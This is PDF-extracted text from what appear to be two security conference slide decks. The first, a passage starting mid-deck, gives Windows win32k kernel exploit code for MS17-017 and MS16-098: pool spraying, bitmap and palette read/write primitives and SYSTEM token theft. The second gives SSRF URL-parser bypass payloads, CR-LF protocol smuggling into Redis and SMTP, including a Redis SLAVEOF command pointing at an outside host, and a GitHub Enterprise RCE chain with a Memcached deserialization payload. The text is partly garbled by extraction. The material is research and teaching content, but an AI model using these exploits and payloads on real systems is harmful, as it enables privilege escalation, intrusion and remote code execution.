UnregisterClass(fst,+NULL); } SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Kernel Pool Spray • If+everything+went+according+to+plan+the+memory+layout+after+the+vulnerable+ object+is+allocated+will+be+as+follows. SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Bitmap Relative Memory R/W • The+adjacent+Bitmap+object,+should+now+be+changed+to+have+width+0x1A6+and+ height+0x6,+instead+of+height+0x1. for+(int i =+0;+i <+2000;+i++)+{ res+=+GetBitmapBits(bitmaps[i],+0x6F8,+bits); if+(res+>+0x6F8+- 1)+{ hManager =+bitmaps[i]; break; } } sizlBitmap before+ overflow Extended+sizlBitmap after+overflow SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Abusing Palette Objects • The+extended+Bitmap+object+is+used,+to+update+the+adjacent+Palette+object+ cEntires member+extending+its+size+and+gaining+relative+memory+read/write. for+(int y+=+0;+y+<+4;+y++)+{ bits[0x6F8+- 8+- 0x38+++y]+=+0xFF; } SetBitmapBits((HBITMAP)hManager,+0x6F8,+bits); Original+ XEPALEOBJ.cEntries Updated XEPALEOBJ.cEntries SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Abusing Palette Objects Finding+the+Manager+Palette. UINT+*rPalette; rPalette =+(UINT*)malloc((0x400+- 1)+*+sizeof(PALETTEENTRY)); memset(rPalette,+0x0,+(0x400+- 1)+*+sizeof(PALETTEENTRY)); for+(int k+=+0;+k+<+2000;+k++)+{ UINT+res+=+GetPaletteEntries(hp[k],+0,+0x400,+(LPPALETTEENTRY)rPalette); if+(res+>+0x3BB)+{ printf("[*]+Manager+XEPALOBJ+Object+Handle:+0x%x\r\n",+hp[k]); hpManager =+hp[k]; break; } } SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Abusing Palette Objects UINT+wAddress =+rPalette[0x3FE]; printf("[*]+Worker+XEPALOBJ->pFirstColor:+0x%04x.\r\n",+wAddress); UINT+tHeader =+pFirstColor - 0x1000; tHeader =+tHeader &+0xFFFFF000; printf("[*]+Gh05+Address:+0x%04x.\r\n",+tHeader); SetPaletteEntries((HPALETTE)hpManager,+0x3FE,+1,+ (PALETTEENTRY*)&tHeader); Original+ XEPALOBJ.*pFirstColor Updated+ XEPALOBJ.*pFirstColor SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Abusing Palette Objects • Finding+the+Worker+Palette UINT+wBuffer[2]; for+(int x+=+0;+x+<+2000;+x++)+{ GetPaletteEntries((HPALETTE)hp[x],+0,+2,+(LPPALETTEENTRY)wBuffer); if+(wBuffer[1]+>>+24+==+0x35)+{ hpWorker =+hp[x]; printf("[*]+Worker+XEPALOBJ+object+Handle:+0x%x\r\n",+ hpWorker); break; } } VersionSpecificConfig gConfig =+{+0x0b4+,+0x0f8+}; void+SetAddress(UINT*+address)+{ SetPaletteEntries((HPALETTE)hpManager,+0x3FE,+1,+ (PALETTEENTRY*)address); } void+WriteToAddress(UINT*+data,+DWORD+len)+{ SetPaletteEntries((HPALETTE)hpWorker,+0,+len,+(PALETTEENTRY*)data); } UINT+ReadFromAddress(UINT+src,+UINT*+dst,+DWORD+len)+{ SetAddress((UINT+*)&src); DWORD+res+=+GetPaletteEntries((HPALETTE)hpWorker,+0,+len,+ (LPPALETTEENTRY)dst); return+res; } Extended+Palette+ used+as+Manager+to+ set+*pFirstColor of+ Worker+Palette. Worker+Palette+used+ to+read/write+from+ location+pointed+to+ by+*pFirstColor SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow – Steal x86 SYSTEM process Token • Replacing+the+Current+process+Token+with+the+SYSTEM+ one. //+get+System+EPROCESS UINT+SystemEPROCESS =+PsInitialSystemProcess(); //fprintf(stdout,+"\r\n%x\r\n",+SystemEPROCESS); UINT+CurrentEPROCESS =+PsGetCurrentProcess(); //fprintf(stdout,+"\r\n%x\r\n",+CurrentEPROCESS); UINT+SystemToken =+0; //+read+token+from+system+process ReadFromAddress(SystemEPROCESS ++gConfig.TokenOffset,+&SystemToken,+1); fprintf(stdout,+"[*]+Got+System+Token:+%x\r\n",+SystemToken); //+write+token+to+current+process UINT+CurProccessAddr =+CurrentEPROCESS ++gConfig.TokenOffset; SetAddress(&CurProccessAddr); SENSEPOST MS17-017: Win32k!EngRealizeBrush Integer Overflow - SYSTEM!!! SENSEPOST MS16-098 RGNOBJ Win32k!bFill Integer Overflow Leading To Pool Overflow SENSEPOST MS16-098: Win32k!bFill Integer Overflow UlongMult:+checks+if+ multiplication+will+result+ in+overflow. Value+at+[rsp+size]+ passed+to+the+ allocation+func PALLOCMEM2+as+the+ Size+Parameter In+the+unpatched+ version+the+supplied+size+ value+is+multiplied+ without+checking+can+be+ overflowed+to+a+smaller+ allocation+size. SENSEPOST MS16-098: Win32k!bFill Integer Overflow Reaching the Vulnerable Function // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() bFill@(struct EPATHOBJ+*@,+struct _RECTL+*@,+unsigned+__int32@,+void+ (__stdcall *)(struct _RECTL+*,+unsigned+__int32,+void+*)@,+void+*) SENSEPOST MS16-098: Win32k!bFill Integer Overflow Controlling the Allocation Size 0"######## 3 + 1 = 0"55555556 0"55555556( ∗ 3 = 0"100000002 0"100000002 ≪ 4 = 0"1000000020 32-bit+(4+Byte)+Value+in+ecx lea+ecx,+[rax+rax*2]; shl ecx,+4 SENSEPOST MS16-098: Win32k!bFill Integer Overflow Controlling the Allocation Size • Number+of+Points+in+selected+Path. • PolyLineTo • Calling+it+0x156+times+with+0x3FE01+points: 0"156( ∗ 0"3#901 = 0"5555556 // Create a Point array static POINT points[0x3FE01]; BeginPath(hMemDC); // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. for (int j = 0; j < 0x156; j++) { PolylineTo(hMemDC, points, 0x3FE01); } // End the pathEndPath(hMemDC); The+application+will+add+1+to+it 0"5555557( ∗ 3 = 0"10000005 0"10000005 ≪ 4 = 0"50 SENSEPOST MS16-098: Win32k!bFill Integer Overflow Kernel Pool Feng shui HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); bitmaps[k] = bmp; } ! SENSEPOST MS16-098: Win32k!bFill Integer Overflow Kernel Pool Feng shui // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } ! SENSEPOST MS16-098: Win32k!bFill Integer Overflow Kernel Pool Feng shui // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } ! SENSEPOST MS16-098: Win32k!bFill Integer Overflow Kernel Pool Feng shui //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } ! SENSEPOST MS16-098: Win32k!bFill Integer Overflow Kernel Pool Feng shui // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } ! SENSEPOST MS16-098: Win32k!bFill Integer Overflow Kernel Pool Feng shui // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } ! // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } ! SENSEPOST MS16-098: Win32k!bFill Integer Overflow Kernel Pool Feng shui Final+Kernel+Pool+Layout+after+vulnerable+object+allocation SENSEPOST MS16-098: Win32k!bFill Integer Overflow Analysing & Controlling the Overflow bConstructGET >+addEdgeToGet. Current+POINT.Y+[r9+4] = r11+ The+function+will+try+to+copy+0x5555557+Points+(0x30+bytes+ each),+to+the+newly+allocated+0x50+bytes+memory. Previous+POINT.Y+[r8+4] = r10 SENSEPOST MS16-098: Win32k!bFill Integer Overflow Analysing & Controlling the Overflow This+check+will+allow+us+to+control+ how+many+points+are+copied+ across+and+thus+control+the+ overflow. (CURRENT+POINT.Y++<<+4)+>+0x1F0 ecx =+CURRENT+POINT.Y eax =+0x1F0 SENSEPOST MS16-098: Win32k!bFill Integer Overflow Analysing & Controlling the Overflow • Points[2]+=+20+(0x14)++<+0x1F,+the+next+points+will+be+copied+across. static POINT points[0x3fe01]; for (int l = 0; l < 0x3FE00; l++) { points[l].x = 0x5a1f; points[l].y = 0x5a1f; } points[2].y = 20; //0x14 < 0x1f points[0x3FE00].x = 0x4a1f; points[0x3FE00].y = 0x6a1f; ! • In+the+Point+adding+loop+after+0x1F+iterations+set+points[2]+>+0x1F for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) { points[2].y = 0x5a1f; } if (!PolylineTo(hMemDC, points, 0x3FE01)) { fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); }} ! SENSEPOST MS16-098: Win32k!bFill Integer Overflow Analysing & Controlling the Overflow Extended+sizlBitmap after+overflow sizlBitmap before+ overflow • Looking+at+the+adjacent+Bitmap+object+before+and+after+the+overflow.+ SENSEPOST MS16-098: Win32k!bFill Integer Overflow Analysing & Controlling the Overflow • Where+did+the+value+0xFFFFFFFF+that+overwritten+the+ Bitmap+Height+came+from?+ Subtracts+the+ previous+ point.y = r10+ from+the+ current+ point.y at+ebp If+result+was+ positive+write+1+ to+[point++28]+ pointed+to+by+rdx If+result+was+ signed+(neg)+write+ 0xFFFFFFFF+to+ [point++28]+ pointed+to+by+rdx SENSEPOST MS16-098: Win32k!bFill Integer Overflow Abusing Bitmap Objects • loop+over+GetBitmapBits,+that+returns+cbBuffer size+larger+than+the+ original+Bitmap+allocated+during+the+kernel+pool+spray. for (int k=0; k < 5000; k++) { res = GetBitmapBits(bitmaps[k], 0x1000, bits); // if check succeeds we found our bitmap. if (res > 0x150) { hManager = bitmaps[k]; hWorker = bitmaps[k+1]; break } } ! SENSEPOST MS16-098: Win32k!bFill Integer Overflow Abusing Bitmap Objects addr1[0x0] = 0; int u = addr1[0x1]; u = u - 0x10; addr1[1] = u; ! Overflowed+Region+Object+address+at+the+start+of+the+previous+Page+ addr1[0] = 0xc0; int y = addr1[1]; y = y + 0xb; addr1[1] = y; ! Overflowed+Bitmap+Object+(previous+page+address+++0xBC0)+ SENSEPOST MS16-098: Win32k!bFill Integer Overflow Abusing Bitmap Objects void SetAddress(BYTE* address) { for (int i = 0; i < sizeof(address); i++) { bits[0xdf0 + i] = address[i]; } SetBitmapBits(hManager, 0x1000, bits); } void WriteToAddress(BYTE* data) { SetBitmapBits(hWorker, sizeof(data), data); } SetAddress(addr1); WriteToAddress(Gh05); ! Extended+Bitmap+ used+as+Manager+to+ set+the+pvScan0+of+ the+Worker+Bitmap Use+Worker+Bitmap+to+ read/write+from+ location+pointed+to+by+ pvScan0 Fix+Overflowed+ Bitmap+Header. SENSEPOST MS16-098: Win32k!bFill Integer Overflow Stealing System Process Token • The+Token+of+the+current+process+is+replaced+by+the+SYSTEM+process+ one,+using+the+arbitrary+memory+read/write. // get System EPROCESS ULONG64 SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); ULONG64 SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); // write token to current process ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress((BYTE *)&CurProccessAddr); WriteToAddress((BYTE *)&SystemToken); // Done and done. We're System :) ! SENSEPOST MS16-098: Win32k!bFill Integer Overflow SYSTEM!!! SENSEPOST Conclusions • Abuse+two+GDI+objects+to+abuse+Pool+Corruption. • Identify+and+Exploit+the+same+type+of+bugs. • Tools: • Get+a+hold+of+me+of+you+have+any+questions,+ideas,+ modifications,+or+if+you+find+where+Diego+Juarez+is+? Saif+(at)+SensePost.com @Saif_Sherei SENSEPOST Q & A SENSEPOST
pdf
A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages! Orange Tsai Taiwan No.1 About Orange Tsai The most professional red team in Taiwan About Orange Tsai The largest hacker conference in Taiwan founded by chrO.ot About Orange Tsai Speaker - Speaker at several security conferences HITCON, WooYun, AVTokyo CTFer - CTFs we won champions / in finalists (as team HITCON) DEFCON, Codegate, Boston Key Party, HITB, Seccon, 0CTF, WCTF Bounty Hunter - Vendors I have found Remote Code Execution Facebook, GitHub, Uber, Apple, Yahoo, Imgur About Orange Tsai Agenda Introduction Make SSRF great again Issues that lead to SSRF-Bypass Issues that lead to protocol smuggling Case studies and Demos Mitigations What is SSRF? Server Side Request Forgery Bypass Firewall, Touch Intranet Compromise Internal services Struts2 Redis Elastic Protocol Smuggling in SSRF Make SSRF more powerful Protocols that are suitable to smuggle HTTP based protocol Elastic, CouchDB, Mongodb, Docker Text-based protocol FTP, SMTP, Redis, Memcached Quick Fun Example http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 httplib requests urllib Quick Fun Example Python is so Hard Quick Fun Example CR-LF Injection on HTTP protocol Smuggling SMTP protocol over HTTP protocol http://127.0.0.1:25/%0D%0AHELO orange.tw%0D%0AMAIL FROM… >> GET / << 421 4.7.0 ubuntu Rejecting open proxy localhost [127.0.0.1] >> HELO orange.tw Connection closed SMTP Hates HTTP Protocol It Seems Unexploitable Gopher Is Good What If There Is No Gopher Support? HTTPS What Won't Be Encrypted in a SSL Handshake? Quick Fun Example https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 | xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange. tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO□orange.tw%0D%0AMAIL□FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 | xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 | xxd 000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8 000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0.... 000001d0: 2b31 3237 2e30 2e30 2e31 200d 0a48 454c +127.0.0.1 ..HEL 000001e0: 4f20 6f72 616e 6765 2e74 770d 0a4d 4149 O orange.tw..MAI 000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM.......... 00000200: 0300 0102 000a 001c 001a 0017 0019 001c ................ Quick Fun Example CR-LF Injection on HTTPS protocol Exploit the Unexploitable - Smuggling SMTP over TLS SNI https://127.0.0.1□%0D%0AHELO orange.tw%0D%0AMAIL FROM…:25/ $ tcpdump -i lo -qw - tcp port 25 >> ...5./.0.,.=.j.8.2.........0...+127.0.0.1 << 500 5.5.1 Command unrecognized: ...5./.0.,.=.j.8.2..0.+127.0.0.1 >> HELO orange.tw << 250 ubuntu Hello localhost [127.0.0.1], please meet you >> MAIL FROM: <admin@orange.tw> << 250 2.1.0 <admin@orange.tw>... Sender ok Make SSRF Great Again URL Parsing Issues It's all about the inconsistency between URL parser and requester Why validating a URL is hard? 1. Specification in RFC2396, RFC3986 but just SPEC 2. WHATWG defined a contemporary implementation based on RFC but different languages still have their own implementations URL Components(RFC 3986) scheme authority path query fragment foo://example.com:8042/over/there?name=bar#nose URL Components(RFC 3986) foo://example.com:8042/over/there?name=bar#nose (We only care about HTTP HTTPS) (It's complicated) (I don't care) (I don't care) scheme authority (It's complicated) path fragment query Big Picture Libraries/Vulns CR-LF Injection URL Parsing Path Host SNI Port Injection Host Injection Path Injection Python httplib 💀 💀 💀 Python urllib 💀 💀 💀 Python urllib2 💀 💀 Ruby Net::HTTP 💀 💀 💀 Java net.URL 💀 💀 Perl LWP 💀 💀 NodeJS http 💀 💀 PHP http_wrapper 💀 💀 Wget 💀 💀 cURL 💀 💀 Consider the following PHP code $url = 'http://' . $_GET[url]; $parsed = parse_url($url); if ( $parsed[port] == 80 && $parsed[host] == 'google.com') { readfile($url); } else { die('You Shall Not Pass'); } Abusing URL Parsers http://127.0.0.1:11211:80/ Abusing URL Parsers http://127.0.0.1:11211:80/ PHP readfile Perl LWP PHP parse_url Perl URI Abusing URL Parsers RFC3986 authority = [ userinfo "@" ] host [ ":" port ] port = *DIGIT host = IP-literal / IPv4address / reg-name reg-name = *( unreserved / pct-encoded / sub-delims ) unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~" sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "=" Abusing URL Parsers http://google.com#@evil.com/ Abusing URL Parsers http://google.com#@evil.com/ PHP parse_url PHP readfile Abusing URL Parsers Several programing languages suffered from this issue cURL, PHP, Python RFC3968 section 3.2 The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI Abusing URL Parsers How About cURL? http://foo@evil.com:80@google.com/ Abusing URL Parsers http://foo@evil.com:80@google.com/ cURL libcurl NodeJS URL Perl URI Go net/url PHP parse_url Ruby addressable Abusing URL Parsers Report the bug to cURL team and get a patch quickly Bypass the patch with a space Abusing URL Parsers http://foo@127.0.0.1 @google.com/ Report Again But… "curl doesn't verify that the URL is 100% syntactically correct. It is instead documented to work with URLs and sort of assumes that you pass it correct input" Won't Fix But previous patch still applied on cURL 7.54.0 Abusing URL Parsers cURL / libcurl PHP parse_url 💀 Perl URI 💀 Ruby uri Ruby addressable 💀 NodeJS url 💀 Java net.URL Python urlparse Go net/url 💀 Consider the following NodeJS code NodeJS Unicode Failure var base = "http://orange.tw/sandbox/"; var path = req.query.path; if (path.indexOf("..") == -1) { http.get(base + path, callback); } NodeJS Unicode Failure http://orange.tw/sandbox/NN/passwd NodeJS Unicode Failure http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd NodeJS Unicode Failure http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd NodeJS Unicode Failure http://orange.tw/sandbox/../passwd / is new ../ (in NodeJS HTTP) (U+FF2E) Full width Latin capital letter N What the ____ NodeJS Unicode Failure HTTP module prevents requests from CR-LF Injection Encode the New-lines as URL encoding http://127.0.0.1:6379/\r\nSLAVEOF orange.tw 6379\r\n $ nc -vvlp 6379 >> GET /%0D%0ASLAVEOF%20orange.tw%206379%0D%0A HTTP/1.1 >> Host: 127.0.0.1:6379 >> Connection: close NodeJS Unicode Failure HTTP module prevents requests from CR-LF Injection Break the protections by Unicode U+FF0D U+FF0A http://127.0.0.1:6379/-*SLAVEOF@orange.tw@6379-* $ nc -vvlp 6379 >> GET / >> SLAVEOF orange.tw 6379 >> HTTP/1.1 >> Host: 127.0.0.1:6379 >> Connection: close GLibc NSS Features In Glibc source code file resolv/ns_name.c#ns_name_pton() /*% * Convert an ascii string into an encoded domain name as per RFC1035. */ int ns_name_pton(const char *src, u_char *dst, size_t dstsiz) GLibc NSS Features RFC1035 - Decimal support in gethostbyname() void main(int argc, char **argv) { char *host = "or\\097nge.tw"; struct in_addr *addr = gethostbyname(host)->h_addr; printf("%s\n", inet_ntoa(*addr)); } …50.116.8.239 GLibc NSS Features >>> import socket >>> host = '\\o\\r\\a\\n\\g\\e.t\\w' >>> print host \o\r\a\n\g\e.t\w >>> socket.gethostbyname(host) '50.116.8.239' RFC1035 - Decimal support in gethostbyname() GLibc NSS Features void main(int argc, char **argv) { struct addrinfo *res; getaddrinfo("127.0.0.1 foo", NULL, NULL, &res); struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr; printf("%s\n", inet_ntoa(ipv4->sin_addr)); } …127.0.0.1 Linux getaddrinfo() strip trailing rubbish followed by whitespaces GLibc NSS Features Linux getaddrinfo() strip trailing rubbish followed by whitespaces Lots of implementations relied on getaddrinfo() >>> import socket >>> socket.gethostbyname("127.0.0.1\r\nfoo") '127.0.0.1' GLibc NSS Features Exploit Glibc NSS features on URL Parsing http://127.0.0.1\tfoo.google.com http://127.0.0.1%09foo.google.com http://127.0.0.1%2509foo.google.com GLibc NSS Features Exploit Glibc NSS features on URL Parsing Why this works? Some library implementations decode the URL TWICE… http://127.0.0.1%2509foo.google.com Exploit Glibc NSS features on Protocol Smuggling HTTP protocol 1.1 required a host header $ curl -vvv http://I-am-a-very-very-weird-domain.com >> GET / HTTP/1.1 >> Host: I-am-a-very-very-weird-domain.com >> User-Agent: curl/7.53.1 >> Accept: */* GLibc NSS Features GLibc NSS Features Exploit Glibc NSS features on Protocol Smuggling HTTP protocol 1.1 required a host header http://127.0.0.1\r\nSLAVEOF orange.tw 6379\r\n:6379/ $ nc -vvlp 6379 >> GET / HTTP/1.1 >> Host: 127.0.0.1 >> SLAVEOF orange.tw 6379 >> :6379 >> Connection: close GLibc NSS Features https://127.0.0.1\r\nSET foo 0 60 5\r\n:443/ $ nc -vvlp 443 >> ..=5</.Aih9876.'. #...$...?...).%..g@?>3210...EDCB.. >> .....5'%"127.0.0.1 >> SET foo 0 60 5 Exploit Glibc NSS features on Protocol Smuggling SNI Injection - Embed hostname in SSL Client Hello Simply replace HTTP with HTTPS GLibc NSS Features Break the Patch of Python CVE-2016-5699 CR-LF Injection in HTTPConnection.putheader() Space followed by CR-LF? _is_illegal_header_value = \ re.compile(rb'\n(?![ \t])|\r(?![ \t\n])').search … if _is_illegal_header_value(values[i]): raise ValueError('Invalid header value %r' % (values[i],)) Break the Patch of Python CVE-2016-5699 CR-LF Injection in HTTPConnection.putheader() Space followed by CR-LF? Bypass with a leading space >>> import urllib >>> url = 'http://0\r\n SLAVEOF orange.tw 6379\r\n :80' >>> urllib.urlopen(url) GLibc NSS Features Break the Patch of Python CVE-2016-5699 Exploit with a leading space Thanks to Redis and Memcached GLibc NSS Features http://0\r\n SLAVEOF orange.tw 6379\r\n :6379/ >> GET / HTTP/1.0 << -ERR wrong number of arguments for 'get' command >> Host: 0 << -ERR unknown command 'Host:' >> SLAVEOF orange.tw 6379 << +OK Already connected to specified master Abusing IDNA Standard The problem relied on URL parser and URL requester use different IDNA standard IDNA2003 UTS46 IDNA2008 ⓖⓞⓞⓖⓛⓔ.com google.com google.com Invalid g\u200Doogle.com google.com google.com xn--google-pf0c.com baß.de bass.de bass.de xn--ba-hia.de Abusing IDNA Standard >> "ß".toLowerCase() "ß" >> "ß".toUpperCase() "SS" >> ["ss", "SS"].indexOf("ß") false >> location.href = "http://wordpreß.com" The problem relied on URL parser and URL requester use different IDNA standard Cat Studies Abusing URL Parsers - Case Study WordPress 1. Paid lots of attentions on SSRF protections 2. We found 3 distinct ways to bypass the protections 3. Bugs have been reported since Feb. 25, 2017 but still unpatched 4. For the Responsible Disclosure Process, I will use MyBB as following case study Abusing URL Parsers - Case Study The main concept is finding different behaviors among URL parser, DNS checker and URL requester URL parser DNS checker URL requester WordPress parse_url() gethostbyname() *cURL vBulletin parse_url() None *cURL MyBB parse_url() gethostbynamel() *cURL * First priority Abusing URL Parsers - Case Study SSRF-Bypass tech #1 Time-of-check to Time-of-use problem 1 $url_components = @parse_url($url); 2 if( 3 !$url_components || 4 empty($url_components['host']) || 5 (!empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https'))) || 6 (!empty($url_components['port']) && !in_array($url_components['port'], array(80, 8080, 443))) 7 ) { return false; } 8 9 $addresses = gethostbynamel($url_components['host']); 10 if($addresses) { 11 // check addresses not in disallowed_remote_addresses 12 } 13 14 $ch = curl_init(); 15 curl_setopt($ch, CURLOPT_URL, $url); 16 curl_exec($ch); Abusing URL Parsers - Case Study 1. gethostbyname() and get 1.2.3.4 2. Check 1.2.3.4 not in blacklist 3. Fetch URL by curl_init() and cURL query DNS again! 4. 127.0.0.1 fetched, SSRF! Q: foo.orange.tw A: 1.2.3.4 Q: foo.orange.tw A: 127.0.0.1 http://foo.orange.tw/ Hacker MyBB DNS 1 2 4 3 Abusing URL Parsers - Case Study SSRF-Bypass tech #2 The inconsistency between DNS checker and URL requester There is no IDNA converter in gethostbynamel(), but cURL has 1 $url = 'http://ß.orange.tw/'; // 127.0.0.1 2 3 $host = parse_url($url)[host]; 4 $addresses = gethostbynamel($host); // bool(false) 5 if ($address) { 6 // check if address in white-list 7 } 8 9 $ch = curl_init(); 10 curl_setopt($ch, CURLOPT_URL, $url); 11 curl_exec($ch); Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester Fixed in PHP 7.0.13 …127.0.0.1:11211 fetched $url = 'http://127.0.0.1:11211#@google.com:80/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(80) curl($url); Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester Fixed in cURL 7.54 (The version of libcurl in Ubuntu 17.04 is still 7.52.1) $url = 'http://foo@127.0.0.1:11211@google.com:80/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(80) curl($url); …127.0.0.1:11211 fetched Abusing URL Parsers - Case Study SSRF-Bypass tech #3 The inconsistency between URL parser and URL requester cURL won't fix :) $url = 'http://foo@127.0.0.1 @google.com:11211/'; $parsed = parse_url($url); var_dump($parsed[host]); // string(10) "google.com" var_dump($parsed[port]); // int(11211) curl($url); …127.0.0.1:11211 fetched Protocol Smuggling - Case Study GitHub Enterprise Standalone version of GitHub Written in Ruby on Rails and code have been obfuscated Protocol Smuggling - Case Study About Remote Code Execution on GitHub Enterprise Best report in GitHub 3 rd Bug Bounty Anniversary Promotion! Chaining 4 vulnerabilities into RCE Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks What is Webhooks? Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks Fetching URL by gem faraday Blacklisting Host by gem faraday-restrict-ip-addresses Blacklist localhost, 127.0.0.1… ETC Simply bypassed with a zero http://0/ Protocol Smuggling - Case Study First bug - SSRF-Bypass on Webhooks There are several limitations in this SSRF Not allowed 302 redirection Not allowed scheme out of HTTP and HTTPS No CR-LF Injection in faraday Only POST method Protocol Smuggling - Case Study Second bug - SSRF in internal Graphite service GitHub Enterprise uses Graphite to draw charts Graphite is bound on 127.0.0.1:8000 url = request.GET['url'] proto, server, path, query, frag = urlsplit(url) if query: path += '?' + query conn = HTTPConnection(server) conn.request('GET',path) resp = conn.getresponse() SSRF Execution Chain : ( Protocol Smuggling - Case Study Third bug - CR-LF Injection in Graphite Graphite is written in Python The implementation of the second SSRF is httplib.HTTPConnection As I mentioned before, httplib suffers from CR-LF Injection We can smuggle other protocols with URL http://0:8000/composer/send_email ?to=orange@chroot.org &url=http://127.0.0.1:6379/%0D%0ASET… Protocol Smuggling - Case Study Fourth bug - Unsafe Marshal in Memcached gem GitHub Enterprise uses Memcached gem as the cache client All Ruby objects stored in cache will be Marshal-ed Protocol Smuggling - Case Study http://0:8000/composer/send_email ?to=orange@chroot.org &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB 